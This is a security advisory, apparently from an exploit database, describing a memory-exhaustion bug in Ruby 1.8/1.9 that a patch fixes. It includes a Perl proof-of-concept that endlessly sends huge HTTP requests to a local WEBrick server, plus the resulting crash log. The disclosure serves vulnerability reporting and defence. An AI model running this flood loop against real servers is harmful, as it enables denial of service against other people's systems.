Ruby <= 1.9 (regex engine) Remote Socket Memory Leak Exploit

Advisory Content :

-------------------------------------------------------
Language : Ruby

Web Site: www.ruby-lang.org

Platform: All

Bug: Remote Socket Memory Leak

Products Affected:
1.8 series:
- 1.8.5 and all prior versions
- 1.8.6-p286 and all prior versions
- 1.8.7-p71 and all prior versions

1.9 series
- r18423 and all prior revisions

Confirmed by the vendor: Yes

Patch available : Yes
-------------------------------------------------------

1) Introduction
2) Bug
3) Proof of concept
4) Credits

===============
1) Introduction
===============
"A dynamic, open source programming language with a focus on simplicity and
productivity.
It has an elegant syntax that is natural to read and easy to write."

=======
2) Bug
=======
Ruby fails to handle properly the memory allocated for a socket
So when you send ~ 4 big request to a ruby socket, ruby will go
in infinite loop, and then crash.
The bug reside in the regex engine (in regex.c).

==================
3)Proof of concept
===================
This poc is an exemple for Webrick web server
crap.pl :

#!/usr/bin/perl
use LWP::Simple;
my $payload = "\x41" x 49999999;
while(1)
{
print "[+]\n";
get "http://127.0.0.1:2500/".$payload."";
}

Result (Exemple on Webrick web server):

[2008-07-11 22:39:55] INFO WEBrick 1.3.1
[2008-07-11 22:39:55] INFO ruby 1.8.6 (2007-09-24) [i486-linux]
[2008-07-11 22:39:55] INFO WEBrick::HTTPServer#start: pid=13850 port=2500
[2008-07-11 22:40:51] ERROR NoMemoryError: failed to allocate memory
/usr/lib/ruby/1.8/webrick/httprequest.rb:228:in
`read_request_line'
/usr/lib/ruby/1.8/webrick/httprequest.rb:86:in `parse'
/usr/lib/ruby/1.8/webrick/httpserver.rb:56:in `run'
/usr/lib/ruby/1.8/webrick/server.rb:173:in `start_thread'
/usr/lib/ruby/1.8/webrick/server.rb:162:in `start'
/usr/lib/ruby/1.8/webrick/server.rb:162:in `start_thread'
/usr/lib/ruby/1.8/webrick/server.rb:95:in `start'
/usr/lib/ruby/1.8/webrick/server.rb:92:in `each'
/usr/lib/ruby/1.8/webrick/server.rb:92:in `start'
/usr/lib/ruby/1.8/webrick/server.rb:23:in `start'
/usr/lib/ruby/1.8/webrick/server.rb:82:in `start'

/home/audit/instiki-0.13.0/vendor/rails/railties/lib/webrick_server.rb:63:i
n `dispatch'
script/server:62
[FATAL] failed to allocate memory
root@audit:/home/audit#

=====
5)Credits
=====

laurent gaffiÃ©

laurent.gaffie{remove_this}[at]gmail[dot]com

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

Ruby <= 1.9 (regex engine) Remote Socket Memory Leak Exploit